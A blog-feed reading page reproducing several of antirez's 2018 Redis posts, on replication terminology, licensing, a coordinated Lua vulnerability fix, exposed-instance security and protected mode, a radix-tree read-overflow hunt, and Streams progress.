Reading

A reading list from the RSS feeds I follow (happy to get good recommendations)

See my feeds.yaml.

Antirez

• On Redis master-slave terminology
  Sep 06, 2018

  Today it happened again. A developer, that we’ll call Mark to avoid exposing his real name, read the Redis 5.0 RC5 change log, and was disappointed to see that Redis still uses the “master” and “slave” terminology in order to identify different roles in Redis replication. I said that I was sorry he was disappointed about that, but at the same time, I don’t believe that terminology out of context is offensive, so if I use master-slave in the context of databases, and I’m not referring in any way to slavery. I originally copied the terms from MySQL, and now they are the way we call things in Redis, and since I do not believe in this battle (I’ll tell you later why), to change the documentation, deprecate the API and add a new one, change the INFO fields, just to make a subset of people that care about those things more happy, do not make sense to me. After it was clear that I was not interested in his argument, Mark accused me of being fascist. Now I’m Italian, and incidentally my grand grand father was put in jail for years by fascists because he was communist and was against the regime. He was released to die in a couple of months at home. The father of my mother instead went in the north of Italy for II World War, and was able to escape from the Nazis for a miracle. Stayed 5 years as a refugee, and eventually returned home to become the father of my mother. Mark do not care about the terminology he uses against other people, if the matter at hand is to make sure people that may potentially feel offended will not. Now, it’s time for you to know my political orientation, so that you can put in context my refuse to change terminology. I want my government to be more open to immigration, including economical immigration, I do not accept any racism and I was strongly in favor of “ius soli” law here in Italy. I do not just accept conceptually same-sex marriage, but I really love the beauty that there is in two men or women kissing, making sex, adopting a child. Every day in Facebook and with my social sphere I actively talk about politics in order to push equality. I believe in a systematic bias that our society perpetuates against women, and I’m proud to live in a country where women are free to not recognize the child as their own after giving birth, in order to have the same rights of the biological father that can go away: this was a big win of the European feminist movement in the 70s, together with the abortion right. I’m proud that in my country there is no death penalty like there is not in the rest of EU, that guns are mostly banned, that there is universal healthcare for free. I do not believe to be fascist or racist honestly, and I write almost daily about all this things on Facebook with my friends, talk at people on the street, and so forth. For years and years, since I was 16. So, what’s the problem with changing this terminology? The first problem is that every terminology is offensive in principle, and I don’t want to accept this idea that certain words that are problematic, especially for Americans to make peace with their past, should be banned. For example if I’m terminally ill, the “short living request” terminology may be offensive, it reminds me that I’m going to die, or that my father is going to die. Instead of banning every word out there, we should make the mental effort to do better than the political correctness movement that stops at the surface. So, let’s call it master-slave, and instead make a call for US, where a sizable black population is very poor, to have free healthcare, to have cops that are less biased against non-white people, to stop death penalty. This makes really a difference. For instance Europeans that are a lot less sensible to political correctness, managed to do a much better job on that stuff. There is more: I believe that political correctness has a puritan root. As such it focuses on formalities, but actually it has a real root of prejudice against others. For instance Mark bullied me because I was not complying with his ideas, showing problems at accepting differences in the way people think. I believe that this environment is making it impossible to have important conversations. For instance nobody at this point want to talk about women in tech and about the systematic bias of women in our society (to the point that recently in Japan it was discovered that women were systematically stopped from entering the best medical schools). People will go away once the discussion starts, because everybody knows that at this point to talk about this matters is a huge PR error, can cost you your job or company. Many, while reading this blog post, are thinking that I’m crazy at writing this stuff, even if they think likewise. Well, I don’t want that the people that did this to the our ability to have conversations will get a free pass to say what to do to others, because conversations is the only way we can make people that yet don't have an open vision to change ideas. Moreover I don't believe in the right to be offended, because it's a subjective thing. Different groups may feel offended by different things. To save the right of not being offended it becomes basically impossible to say or do anything in the long run. Is this the evolution of our society? A few days ago on Hacker News I discovered I can no longer say "fake news" for instance. I want a world of equity, opportunities, redistribution of wealth, and open borders. But the way I believe this world can be obtained is not by banning words, nor by stalking people on Twitter so that they comply with your ideology. I’ll continue my local political activity, and I’ll continue to write open source software. I hope that Mark, and the others like Mark, will let me live my life as I decided to do. Comments

• Redis is not "open core"
  Aug 25, 2018

  Human beings have a strong tendency to put new facts into pre-existing categories. This is useful to mentally and culturally classify similar events under the same logical umbrella, so when two days ago I clarified that the Redis core was still released under the vanilla BSD license, and only certain Redis modules developed by Redis Labs were going to change license, from AGPL to a different non open source license, people said “Ah! Ok you are going open core”. The simplification this time does not work if it is in your interest to capture the truth of what is happening here. An open core technology requires two things. One is that the system is modular, and the other is that parts of such system are made proprietary in order to create a product around an otherwise free software. For example providing a single node of a database into the open source, and then having the clustering logic and mechanism implemented in a different non-free layer, is an open core technology. Similarly is open core if I write a relational database with a modular storage system, but the only storage that is able to provide strong guarantees is non free. In an open core business model around an open source system it is *fundamental* that you take something useful out of the free software part. Now for some time Redis is a modular system. You can use Redis modules in order to write many things, including new distributed systems using the recently introduced cluster message bus API, or new data types that look native. However the reason to make Redis modular was not to remove something useful from the system and put a price tag on it. For instance one of the new data structures in Redis 5, the streams, are part of the core and are released under the BSD license. Streams were implemented when Redis was already a modular system. Redis modules started from a different observation. As a premise I should say that I’m a very conservative person about software development. I believe that Redis should be focused to address just things that, when operated with in-memory data structures, offer strong advantages over other ways to do the same thing. I don’t want Redis to do much more than it does, or to employ every possible consistency tradeoff. I want Redis to be Redis, that is, this general tool that the developer can use in different ways to solve certain problems. However at Redis Labs we observed multiple times that it’s a bit a shame that Redis cannot solve certain specific problems. For instance what about if Redis was a serious full text search engine? Also well, developers want so much JSON, what about having an API to talk directly JSON? And given that in-memory graphs if represented wisely can be so fast, what about having graph database abilities, with a rich query language? Redis Labs customers often asked directly for such things. And actually, such features could be cool, but it’s not Redis, I’m not interested, and the open source side of Redis does not have the development force to keep all this things going btw. And this is a major advantage both for Redis and for Redis Labs: it is relatively cheap to pay just me and a few more OSS development time internally, while allocating the rest of the resources to development of things that are useful for the Redis Labs business, like making sure the Redis enterprise SaaS and products are good. There is anyway a great deal of contributions arriving from the community. And I also keep saying “no” to all this fancy ideas that would keep Redis in other areas… which is also a problem. Still to have such things similar to Redis but outside the Redis scope, would be cool, because you know, while it’s not Redis mission, people may very well use a fast inverted index with full text search capabilities that you can feed in real time, while it serves a very good amount of queries per core at the same time. This is what Redis Labs is doing, it’s using the same Redis technology and approach to do more than what Redis wanted to do. Not just in the functionality areas, but also in other areas like consistency models. I’m very opinionated about certain things, and I think that, for instance, CRDTs while super cool in certain use cases, where not the right thing for Redis, to retain the same memory footprint, performance, simplicity, even at the cost of having a weaker consistency model. So Redis Labs, together with a top researcher in the area, did it (and this is a proprietary product without any source available). I can see how such feature can be tremendously useful for certain operations, but Redis was not there to solve everything, and Redis Labs did it. This is not open core. Redis Labs is doing things that you would never see from me: for bandwidth, and because I believe that not all the softwares must eventually become huge. So I think that calling this model “open core” is misleading, nothing is removed from the Redis table, just new things are explored, while trying to follow the “Redis way” in other areas otherwise not touched by the Redis project. Comments

• Redis will remain BSD licensed
  Aug 22, 2018

  Today a page about the new Common Clause license in the Redis Labs web site was interpreted as if Redis itself switched license. This is not the case, Redis is, and will remain, BSD licensed. However in the era of [edit] uncontrollable spreading of information, my attempts to provide the correct information failed, and I’m still seeing everywhere “Redis is no longer open source”. The reality is that Redis remains BSD, and actually Redis Labs did the right thing supporting my effort to keep the Redis core open as usually. What is happening instead is that certain Redis modules, developed inside Redis Labs, are now released under the Common Clause (using Apache license as a base license). This means that basically certain enterprise add-ons, instead of being completely closed source as they could be, will be available with a more permissive license. I think that Redis Labs Common Clause page did not provide a clear and complete information, but software companies often make communication errors, it happens. To me however, it looks more important that while running a system software business in the “cloud era” (LOL) is very challenging using an open source license, yet Redis Labs totally understood and supported the idea that the Redis core is an open source project, in the *most permissive license ever*, that is, BSD, and during the years provided a lot of funding to the project. The reason why certain modules developed internally at Redis Labs are switching license, is because they are added value that Redis Labs wants to be able to provide only to end users that are willing to compile and install the system themselves, or to the Redis Labs customers using their services. But it’s not ok to give away that value to everybody willing to resell it. An example of such module is RediSearch: it was AGPL and is now going to be Apache + Common Clause. About myself, I’ll keep writing BSD code for Redis. For Redis modules I’ll develop, such as Disque, I’ll pick AGPL instead, for similar reasons: we live in a “Cloud-poly”, so it’s a good idea to go forward with licenses that will force other SaaS companies to redistribute back their improvements. However this does not apply to Redis itself. Redis at this point is a 10 years collective effort, the base for many other things that we can do together, and this base must be as available as possible, that is, BSD licensed. We at Redis Labs are sorry for the confusion generated by the Common Clause page, and my colleagues are working to fix the page with better wording. Comments

• Redis Lua scripting: several security vulnerabilities fixed
  Jun 13, 2018

  A bit more than one month ago I received an email from the Apple Information Security team. During an auditing the Apple team found a security issue in the Redis Lua subsystem, specifically in the cmsgpack library. The library is not part of Lua itself, it is an implementation of MessagePack I wrote myself. In the course of merging a pull request improving the feature set, a security issue was added. Later the same team found a new issue in the Lua struct library, again such library was not part of Lua itself, at least in the release of Lua we use: we just embedded the source code inside our Lua implementation in order to provide some functionality to the Lua interpreter that is available to Redis users. Then I found another issue in the same struct package, and later the Alibaba team found many other issues in cmsgpack and other code paths using the Lua API. In a short amount of time I was sitting on a pile of Lua related vulnerabilities. Those vulnerabilities are mostly relevant in the specific case of providing managed Redis severs on the cloud, because it is very unlikely that the vulnerabilities discovered can be used without direct access to the Redis server: many Redis users don’t use the cmsgpack or the struct package at all, and who does will very unlikely feed them with untrusted input. However for cloud providers things are different: they have Redis instances, sometimes in multi tenancy setups, exposed to the user that subscribed for the service. She or he can send anything to such Redis instances, triggering the vulnerabilities, corrupting the memory, violating the Redis process, and potentially taking total control of the Redis process. For instance this simple Python program can crash Redis using one of the cmsgpack vunlerabilities [1]. [1] https://gist.github.com/antirez/82445fcbea6d9b19f97014cc6cc79f8a However from the point of view of normal Redis users that control what is sent to their instances, the risk is limited to feeding untrusted data to a function like struct.unpack(), after selecting a particularly dangerous decoding format “bc0” in the format argument. # Coordinating the advisory Thanks to the cooperation and friendly communications between the Apple Information Security team, me, and the Redis cloud providers, I tried to coordinate the release of the vulnerability after contacting all the major Redis providers out there, so that they could patch their systems before the bug was published. I provided a single patch, so that the providers could easily apply it to their systems. Finally between yesterday and today I prepared new patch releases of Redis 3, 4 and 5, with the security fixes included. They are all already released if you are reading this blog post. Unfortunately I was not able to contact smaller or newer cloud providers. The effort to handle the communication with Redis Labs, Amazon, Alibaba, Microsoft, Google, Heroku, Open Redis and Redis Green was already massive, and the risk of leaks extending the information sharing with other subjects even higher (every company included many persons handling the process). I’m sorry if you are a Redis provider finding about this vulnerability just today, I tried to do my best. I want to say thank you to the Apple Information Security team and all the other providers for the hints and help about this issue. # The problem with Lua Honestly when the Redis Lua engine was designed, it was not conceived with this security model of the customer VS the cloud provider in mind. The assumption kinda was that you can trust who pokes with your Redis server. So in general the Lua libraries were not scrutinized for security. The feeling back then was, if you have access to Redis API, anyway you can do far worse. However later things evolved, and cloud providers restricted the API of Redis to expose to their customers, so that it was possible to provide managed Redis instances. However while things like the CONFIG or DEBUG commands were denied, you can’t really avoid exposing EVAL and EVALSHA. The Redis Lua scripting is one of the top used features in our community. So gradually, without me really noticing, the Lua libraries became also an attack vector in a security model that should instead be handled by Redis, because of the changing system in the way Redis is exposed and provided to the final user. As I said, in this model more than the Redis user, is the managed Redis “cloud” provider to be affected, but regardless it is a problem that must be handled. What we can do in order to improve the current state of cloud providers security, regarding the specific problem with Lua scripting? I identified a few things that I want to do in the next months. 1. Lua stack protection. It looks like Lua can be compiled, with some speed penalty, in a way that ensures that it is not possible to misuse the Lua stack API. To be fair, I think that the assumptions Lua makes about the stack are a bit too trivial, with the Lua library developer having to constantly check if there is enough space on the stack to push a new value. Other languages at the same level of abstraction have C APIs that don’t have this problem. So I’ll try to understand if the slowdown of applying more safeguards in the Lua low level C API is acceptable, and in that case, implement it. 2. Security auditing and fuzz testing. Even if my time was limited I already performed some fuzz testing in the Lua struct library. I’ll continue with an activity that will check for other bugs in this area. I’m sure there are much more issues, and the fact that we found just a given set of bugs is only due to the fact that there was no more time to investigate the scripting subsystem. So this is an important activity that is going to be performed. Again at the end of the activity, I’ll coordinate with the Redis vendors so that they could patch in time. 3. From the point of view of the Redis user, it is important that when some untrusted data is sent to the Lua engine, an HMAC is used in order to ensure that the data was not modified. For instance there is a popular pattern where the state of an user is stored in the user cookie itself, to be later decoded. Such data may later be used as input for Redis Lua functions. This is an example where an HMAC is absolutely needed in order to make sure that we read what we previously stored. 4. More Lua sandboxing. There should be plenty of literature and good practices about this topic. We already have some sandboxing implemented, but my feeling from my security days, is that sandboxing is ultimately always a mouse and cat game, and can never be executed in a perfect way. CPU / memory abuses for example may be too complex to track for the goals of Redis. However we should at least be sure that violations may result in a “graceful” abort without any memory content violation issue. 5. Maybe it’s time to upgrade the Lua engine? I’m not sure if newer versions of Lua are more advanced from the point of view of security, however we have the huge problem that upgrading Lua will result in old script potentially no longer working. A very big issue for the Redis community, especially since, for the kind of scripts Redis users normally develop, a more advanced Lua version is only marginally useful. # The issues The problems fixed are listed in the following commits: ce17f76b Security: fix redis-cli buffer overflow. e89086e0 Security: fix Lua struct package offset handling. 5ccb6f7a Security: more cmsgpack fixes by @soloestoy. 1eb08bcd Security: update Lua struct package for security. 52a00201 Security: fix Lua cmsgpack library stack overflow. The first commit is unrelated to this effort, and is a redis-cli buffer overflow that can be exploited only passing a long host argument in the command line. The other issues are the problems that we found on cmsgpack and the struct package. The two scripts to reproduce the issues are the following: https://gist.github.com/antirez/82445fcbea6d9b19f97014cc6cc79f8a and https://gist.github.com/antirez/bca0ad7a9c60c72e9600c7f720e9d035 Both authored by the Apple Information Security team. However the first was modified by me in order to make it more reliably causing the crash. # Versions affected Basically every Redis with Lua scripting is affected. The fixes are available as the following Github tags: 3.2.12 4.0.10 5.0-rc2 The stable release (4.0.10) is also available at http://download.redis.io as usually. Releases tarball hashes are available here: https://github.com/antirez/redis-hashes Please note that the versions released also include different other bugfixes, so it’s a good idea to also read the release notes to know what other things you are upgrading by switching to the new version. I hope to be back with a blog post in the future with the report of the security auditing that is planned for the Lua scripting subsystem in Redis. Comments

• Clarifications on the Incapsula Redis security report
  Jun 02, 2018

  A few days ago I started my day with my Twitter feed full of articles saying something like: “75% of Redis servers infected by malware”. The obvious misquote referred to a research by Incapsula where they found that 75% of the Redis instances left open on the internet, without any protection, on a public IP address, are infected [1]. [1] https://www.incapsula.com/blog/report-75-of-open-redis-servers-are-infected.html Many folks don’t need any clarification about all this, because if you have some grip on computer security and how Redis works, you can contextualize all this without much efforts. However I’m writing this blog post for two reasons. The obvious one is that it can help the press and other users that are not much into security and/or Redis to understand what’s going on. The second is that the exposed Redis instances are a case study about safe defaults that should be interesting for the security circles. The Incapsula report === Let’s start with the Incapsula report. What they did was to analyze exposed Redis instances on the internet. Instances that everybody from any place of the internet can access, because they are listening for connections in a public IP address, without any password protecting them. It is like if they were HTTP servers, but it’s Redis instead, that is not designed to be left exposed. This is far from a new story. Because of Redis popularity the number of total Redis installations is pretty huge, and a fraction of these installations are left exposed. It’s like that since the start basically. People spin a virtual machine in some cloud provider, install Redis, find that they cannot access it, open the port of the VM to anyone, and the instance is at this point running unprotected. They only thing that changed is that most of those instances in the past were left running unaffected in many cases. Maybe some script kiddie could connect and call “INFO” or a few more commands to check what there was inside, and that was it most of the times. Now the new crypto mining obsession is providing attackers a very good reason to break into other people’s systems. Actually the best of the reasons: money. So the same exposed instances are now cracked in order to install some software to mine some kind of crypto currency. Incapsula checked the percentage of instances that look violated. The way they collected the kind of attacks used against Redis instances was by running, on purpose, a set of exposed instances, to monitor how the attackers could target them. Many of the attacks look like variations on my own example attack [2]. [2] http://antirez.com/news/96 Also it is worth to note that to scan the IPv4 address space in order to find exposed instances of any kind of service is trivial. You could use, for instance, masscan. However you could do that 20 years ago using my own hping, and I remember doing this back then with success indeed. TLDR: there are open Redis instances on the internet because they are misconfigured. Attackers profit from them by installing some kind of mining software, or for other reasons. But there is more… keep reading. Protected mode =========== Security is a terrible field in my opinion. I worked in such field, and decided to go away once it started to be no longer an underground affair. People are very opinionated about security issues, while, at the same time, there is little real care about, for instance, performing security auditings on real world systems (something that Google project zero is changing a bit, btw). So after receiving for the Nth time some PGP encrypted email saying that Redis was vulnerable to a temp file creation attack, I wrote the blog post at [2], just to tell: “maybe you are missing the point of Redis security”. I basically published an attack against my own system that I could find in a few minutes of research, and that was very serious. The message was, again, Redis is not designed to be left exposed. And if you really want to play hack3rzzz look, there are more interesting things to do. However by doing that I put on the hands of script kiddies a great weapon to break into thousands of Redis instances open everywhere. In order to pay back from my fault, in an attempt to atone my sin, I started to think about what I could do to make the situation simpler. One problem of Redis 3.x was that by default it would listen to all the IP addresses, so it was simple to misconfigure: just open the port, or have no firewalling at all, and the instance is exposed. The security mantra about that was “run with safe defaults”. That is, in the case of Redis, a networked cache, to have a default configuration that basically more or less does not work for most real world users out of the box. And what was worse, people that don’t have a clue would just “bind *” to fix the problem, and we are back at the initial condition. So I tried to find something a bit smarter, a feature that I named “protected mode”, with great disappointment of a group of 386 processors that manifested in front of my houses for days. The idea of protected mode is to listen to every address, but if the connection is not local, the server replies with an error explaining *why* it is not working as expected, what to do, and the risks involved in just doing the silly thing of opening the instance to everybody by disabling protected mode. This is an example of how the feature works: $ nc 192.168.1.194 6379 -DENIED Redis is running in protected mode because protected mode is enabled, no bind address was specified, no authentication password is requested to clients. In this mode connections are only accepted from the loopback interface. If you want to connect from external computers to Redis you may adopt one of the following solutions: 1) Just disable protected mode sending the command 'CONFIG SET protected-mode no' from the loopback interface by connecting to Redis from the same host the server is running, however MAKE SURE Redis is not publicly accessible from internet if you do so. Use CONFIG REWRITE to make this change permanent. 2) Alternatively you can just disable the protected mode by editing the Redis configuration file, and setting the protected mode option to 'no', and then restarting the server. 3) If you started the server manually just for testing, restart it with the '--protected-mode no' option. 4) Setup a bind address or an authentication password. NOTE: You only need to do one of the above things in order for the server to start accepting connections from the outside. The advantage here is that: 1. The user knows what to do in order to fix this situation. It’s much better than “connection refused”. 2. We try to avoid that the user disables protected mode without understanding what is the risk involved, and that there are other solutions (setting a password or binding to certain interfaces). Disillusion ======== So my illusion was that, maybe, it could be more helpful than the safe defaults. But unfortunately you can’t fix the fact that a percentage of users just don’t care, that some don’t even know they are installing Redis, and that it’s there just as a side effect of being a dependency for something else, or is installed by a script, or is included in the ABI image you are running and so forth. Initially by grepping on Shodan it looked like Redis 4.0 protected mode was, actually, helping quite a lot! The open instances I could find replied “-DENIED” for the most part. That was great. However after the publication of [1] I asked Shodan (btw they rock and were super helpful on Twitter) if I could have the version breakdown of the exposed Redis instances. And the result is, there are still tons of Redis 4.0 instances exposed [3]. [3] https://asciinema.org/a/8heQvivQkFmUrisbb9FQLfMBj It is true that they are less than the 3.0 instances, but they are still a lot. By investigating more I was even told that there are VM images where Redis protected mode is *removed* by the installation script by default, since sometimes people are annoyed by security features. They want things to just work over the network out of the box, so this is what they do, remove the annoyance. Then such image becomes popular, and many folks install it without knowing what’s going on, and when Redis 4 is installed protected mode is off and the instance is exposed. I think this is a lesson about safe defaults that can be trivially disabled by users. It looks like that in some way they could help, but just in reducing by some percentage the number of incidents, not to make them a rare exception. What’s next? ========= One of the fundamental problems in the Redis security model is that the server can be reconfigured via the normal API, using special commands like the CONFIG command. This is a very valuable feature of Redis, but it makes much simpler to break into the instance once you have access to the Redis API, and normal applications using Redis don’t need this level of access. So in the course of Redis 6, what will happen is that we’ll introduce ACLs. Again, the way this feature will be introduced will try to be a “no pain” experience for existing users. If you connect without any credential, Redis will log in the client automatically using the “default” user, that can do everything applications normally do, but will deny all the administrative commands. Of course it will be possible to make it more strict by configuring things differently, create new users that can only call certain commands on keys matching a given pattern, and so forth. In the course of Redis 6 we plan to also merge support for SSL connections, while this is unlikely to have any impact on the issue discussed here, because by default Redis will run unencrypted and the feature will be opt-in, however SSL is also one step forward for a more secure Redis experience in certain environments. However my hopes are on ACLs, because it looks unlikely that the casual user will make the default account able to run the administrative commands. Especially because we plan to log connections originating from the local host as the “admin” user directly. If this goes as I hope, we’ll continue to see Redis 6 instances exposed, because it is inevitable, but at least those Redis 6 instances should make it harder to compromise the whole system. At least in theory: Redis EVAL command allows execution of Lua scripts, and such feature should be allowed by default since is a fundamental Redis feature. We try to have a kinda sandboxed Lua execution environment, but if you followed IT security for some time, you know that sandboxes are always imperfect, and more an exercise in finding how to escape them than a sealing solution. This time however I’ll avoid publishing an attack just to make a point. Comments

• A short tale of a read overflow
  Feb 07, 2018

  [This blog post is also experimentally available on Medium: https://medium.com/antirez/a-short-tale-of-a-read-overflow-b9210d339cff] When a long running process crashes, it is pretty uncool. More so if the process happens to take a lot of state in memory. This is why I love web programming frameworks that are able, without major performance overhead, to create a new interpreter and a new state for each page view, and deallocate every resource used at the end of the page generation. It is an inherently more reliable programming paradigm, where memory leaks, descriptor leaks, and even random crashes from time to time do not constitute a serious issue. However system software like Redis is at the other side of the spectrum, a side populated by things that should never crash. Months ago I received a crash report from my colleague Dvir Volk. He was developing his RediSearch Redis module, so it was not clear if the crash was due to a programming error inside the module, perhaps corrupting the heap, or a bug inside Redis. However it looked a lot like a real problem into the radix tree implementation: === REDIS BUG REPORT START: Cut & paste starting from here === # Redis 999.999.999 crashed by signal: 11 # Crashed running the instuction at: 0x7fceb6eb5af5 # Accessing address: 0x7fce9c400000 | Backtrace: | redis-server *:7016 [cluster](raxRemoveChild+0xd3)[0x49af53] | redis-server *:7016 [cluster](raxRemove+0x34f)[0x49b34f | redis-server *:7016 [cluster](slotToKeyUpdateKey+0x1ad)[0x4415dd] The radix tree is full of memmove() calls, and Redis crashed exactly trying to access a memory address that was oddly zero padded at the end: 0x7fce9c400000. My first thought was, I’m sure I’m doing some wrong memory movement here, and the address gets overwritten with zeroes, leading to the crash when the program attempts the deference the address. I’m pretty proud about my radix tree implementation. Not because of the implementation itself, while it’s a complex data structure to implement, it’s not rocket science. But because of the fuzz tester that comes with it and is able to cover the whole source code (trivial) and a lot of non trivial state (that’s definitely more interesting). The fuzz tester does not do fuzzing just to reach a crash, it compares the implementation of the radix tree dictionary and iterator with a reference implementation that uses an hash table and qsort, to have exactly the same semantics, but in a short and easy to audit implementation. After receiving the crash report I improved the fuzz tester, ran it for days, with and without Valgrind, wrote additional data models, created tests using 100 millions of keys, but despite the efforts I could not reproduce the crash. A few days ago I would discover that there was no bug in the implementation I was testing, but at the time I was not aware of that. I could simply never find a bug that was not there. So after failing to reproduce I gave up. One week ago I received two other additional bug reports that were almost the same. And again, the addresses were zero padded. Dvir crash: Accessing address: 0x7fce9c400000 Issue 4605: Accessing address: 0x7f2959e00000 Issue 4642: Accessing address: 0x7f0e9b800000 It was time to read every memmove, memcpy, realloccall inside the source code, trying to figure out if there was something wrong that for some reason the fuzz tester was not able to catch. I found nothing, but then inspecting the Redis crash report I noticed something funny. During crashes Redis reports the memory mapped areas of the process, things like the following: *** Preparing to test memory region 7f0e8c400000 (255852544 bytes) Now, if you add 255852544to 0x7f0e8c400000, the result is 0x7f0e9b800000 , which is exactly the accessed address in the crash reported in issue 4642. So the program was not crashing because the memory address was corrupted, but because it was accessing an address immediately after the end of the heap. I checked the other issues, and the same was true in all the instances. Basically the end of the heap, at the edge of the start of unmapped addresses, was acting as a memory guard in order to detect and crash when an access was performed outside the bounds. This is a common technique that certain C memory sanitation tools used to employ in the past. Such tools would provide a drop in replacement formalloc() that would return addresses allocated at the edge of a non accessible memory page. Every overflow would be immediately detected in this way. Because the program would crash only in that case, when deallocating a radix tree node at the end of the heap, it was simple to realize that the problem was a read overflow. You can never detect a read overflow otherwise: it will just access data outside your structure, but inside mapped memory, so the bug would be totally harmless and silent, with the exception of doing the same operations at the end of the mapped region. Finally I had a clear place where to look, this portion of C code: /* 3. Remove the edge and the pointer by memmoving the remaining children pointer and edge bytes one position before. */ int taillen = parent->size - (e - parent->data) - 1; debugf("raxRemoveChild tail len: %d\n", taillen); memmove(e,e+1,taillen); /* Since we have one data byte less, also child pointers start one byte before now. */ memmove(((char*)cp)-1,cp,(parent->size-taillen-1)*sizeof(raxNode**)); /* Move the remaining "tail" pointer at the right position as well. */ size_t valuelen = (parent->iskey && !parent->isnull) ? sizeof(void*) : 0; memmove(((char*)c)-1,c+1,taillen*sizeof(raxNode**)+valuelen); /* 4. Update size. */ parent->size--; I asked the user to send me the redis-server binary that produced the crash report, and reading the disassembled code it was clear that many CPU registers, also included in the Redis crash report, would be still populated with the variables above! Note that the CPU registers RDI, RSI, RDX are used in order to pass the first three arguments to memmove. In one of the crashes we had: parent = RBP = 7f2959dffff Checking RDI, RSI, RDX we extract the memmove() arguments: memmove(00007f2959dffff4,00007f2959dffffd,0000000000000008); The memmove will go out of bound accessing up to 7f2959e00004. So I had my proof. But there was more, checking other registers I could also reconstruct the node header, in order to understand how the memmove count argument was obtained. Something was definitely wrong there. Basically I was seeing that the disassembled executable did not match the C function I was reading. How was that possible? The read over the buffer should not happen, because the state was sane. Only the count was incorrectly computed by the crashing instance. It was night, and I had worked at this damn thing for two days no stop, so I decided to create a gist and post it on Twitter, to see if somebody could explain how such C would be turned into such assembler by the compiler. I was lucky enough that my friend Fedor Indutny of Node.js fame was willing to help. He quickly realized that it was very clear why the C and the assembler could not match: what I was analyzing was not the right C code… but a newer version of the same function. Fedor had a GCC 5.4.0 at hand, the same compiler used by the user reporting the bug, so he tried to compile an older version of the code with it, realizing that now the two versions of the emitted code matched perfectly. He pinged me about it, asking if I was sure that this was a recent Redis version. I was absolutely sure, it was Redis 4.0.6. But then I started to have a few doubts, and I took a diff of rax.c between the Redis unstable branch and Redis 4.0. What happened was that I fixed this bug about ten months ago, in the course of the Streams implementation. During the cherry picking activity, where bugfixes from unstable are backported to Redis 4.0, the fix was inside a commit about streams, so I was constantly skipping it. Everything was finally clear, I had debugged for days a bug that was not there in the version that I was testing. If it was just a lame mistake from me, why I did bother to write this blog post? Because, I believe, there are lessons to be learned from all this. The first lesson is that crash reports like the ones Redis is able to emit are a key asset in system software. They allow to reconstruct the state of bugs that you are not able to replicate, but happen very rarely on the wild. While the bug was already fixed, I was able to exactly understand what was happening just looking at the bug reports, register dumps, offending address, and call stack. The second lesson is that you should learn AMD64 assembler today, at least to read comfortably code emitted by the compiler and follow what is happening, if you want to get involved in system programming. This is often the only way to understand what is happening during an heisenbug. Debuggers won’t help much. GDB was claiming that the crash was happening in the instruction parent->size-- which is, of course impossible. But GDB is not to blame, modern compilers, with optimizations turned on, generate code that can hardly be matched back to the source code. Another lesson is how powerful well done fuzz testing is. The fuzz tester was immediately able to find the bug in the broken version. Similarly the fact that no radix tree crash was never observed other than this bug fixed a long time ago, speaks for itself. The radix tree implementation is very complex, yet thanks to fuzz testing there are apparently no bugs in the implementation which is so new and so complex. I want to stress the importance of doing fuzzing not just to find crashes: that’s good for security people that want to discover zero days. Fuzzing for system software should perform random operations according to a sane operation model, and compare the outcome with a reference implementation. And finally, there is a clear lesson for me: next time I need to be more carefully when working at a feature branch and making fixes that are not specific of the feature branch. I was working under the feeling that I would merge everything back into 4.0 ASAP. Then it was not the case, and putting the radix tree update into the same commit implementing Stream things was a fatal error. Well, bonus point, having smart friends help :-) I was a bit lost at that point, and the kind help of Fyodor helped realize the last part of the puzzle and quickly move forward. Don’t be afraid to ask for help. If you get involved in system software, remember that it is very different than other fields in programming. It’s not just that you do some work and you can bring things forward. You must be prepared to spend days trying to understand why a bug happened, a bug that often you are not able to reproduce, because users deserve more than software crashing like that. Comments

• An update on Redis Streams development
  Jan 25, 2018

  I saw multiple users asking me what is happening with Streams, when they’ll be ready for production uses, and in general what’s the ETA and the plan of the feature. This post will attempt to clarify a bit what comes next. To start, in this moment Streams are my main priority: I want to finish this work that I believe is very useful in the Redis community and immediately start with the Redis Cluster improvements plans. Actually the work on Cluster has already started, with my colleague Fabio Nicotra that is porting redis-trib, the Cluster management tool, inside the old and good redis-cli. This step involves translating the code from Ruby to C. In the meantime, a few weeks ago I finished writing the Streams core, and I deleted the “streams” feature branch, merging everything into the “unstable” branch. Later I reviewed again, several times actually, the specification for consumer groups. A few weeks ago I finally was happy with the result, so I started the implementation of this specification: https://gist.github.com/antirez/68e67f3251d10f026861be2d0fe0d2f4. Be aware that command names changed quite a bit… With the API being more like this: https://gist.github.com/antirez/4e7049ce4fce4aa61bf0cfbc3672e64d. I’m halfway, after the first 500 lines of code I today was able to see clients using the XREADGROUP command to see only their local history when fetching old messages. This was a milestone in the implementation. Also XACK is now available. Basically all the data structures supporting the streams consumer groups are working, but I need to finish all the commands implementations, support the blocking operations in XREADGROUP and so forth, handle replication, RDB and AOF persistence. More or less in one month I should have everything ready. Because of consumer groups, the RDB format of the Streams is going to change a lot compared to what “unstable” is using right now. And since there is to break compatibility, we’ll also add the ability of RDB files to persist information about keys last access, so that a Redis restart (or slave loading) involving RDB will get all the info needed in order to continue doing the eviction of keys in the correct way. Right now all that information would be lost instead. Because of this radical RDB changes the plan changed a bit: Streams are going to appear in Redis 5.0 and not 4.0, but 5.0 will be released as GA in about two months: this is possible because 5.0 will be just a 4.0 plus streams, no other major features inside, if not for the RDB changes… So TLDR: I’m working to Streams almost full time, if not for some time to check PRs / Issues for critical stuff, and in two months if you upgrade to Redis 5.0 you’ll have production ready streams with consumer groups fully implemented. There is also quite of a documentation effort to perform, I’ll write both the command manuals and an extensive introduction to streams once we go RC1, which is in about one month, so that people will have documentation to support their tests during the release candidate stage. I hope this clarifies what’s happening with Streams. See you soon with Redis 5.0 :-) Comments

• Redis PSYNC2 bug post mortem
  Dec 02, 2017

